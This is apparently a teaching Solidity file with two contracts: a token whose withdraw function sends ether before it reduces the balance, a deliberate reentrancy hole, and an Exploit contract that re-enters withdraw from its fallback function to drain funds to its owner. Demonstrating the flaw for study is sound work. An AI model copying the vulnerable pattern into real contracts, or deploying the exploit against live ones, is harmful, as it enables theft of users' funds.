BadToken.sol

pragma solidity ^0.4.0;

contract BadToken {
    mapping(address=>uint) public balances;
    
    function BadToken() payable {
        balances[msg.sender] = msg.value;
    }

    function transfer(address recipient, uint amount) {
        if(amount <= balances[msg.sender]) {
            balances[recipient] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw(uint amount) {
        if(amount <= balances[msg.sender]) {
            // Send the ether to the caller
            if(!msg.sender.call.value(amount)()) throw;
            // Decrease their balance
            balances[msg.sender] -= amount;
        }
    }
}

contract Exploit {
    BadToken token;
    address owner;
    
    function Exploit(BadToken _token) {
        owner = msg.sender;
        token = _token;
    }
    
    function steal() {
        // Withdraw our funds
        token.withdraw(token.balances(this));
    }
    
    function() {
        // Check if we have enough gas for another loop
        if(msg.gas > 100000) {
            token.withdraw(token.balances(this));
        } else {
            // If not, send our ill-gotten gains to the owner.
            if(!owner.send(this.balance)) throw;
        }
    }
}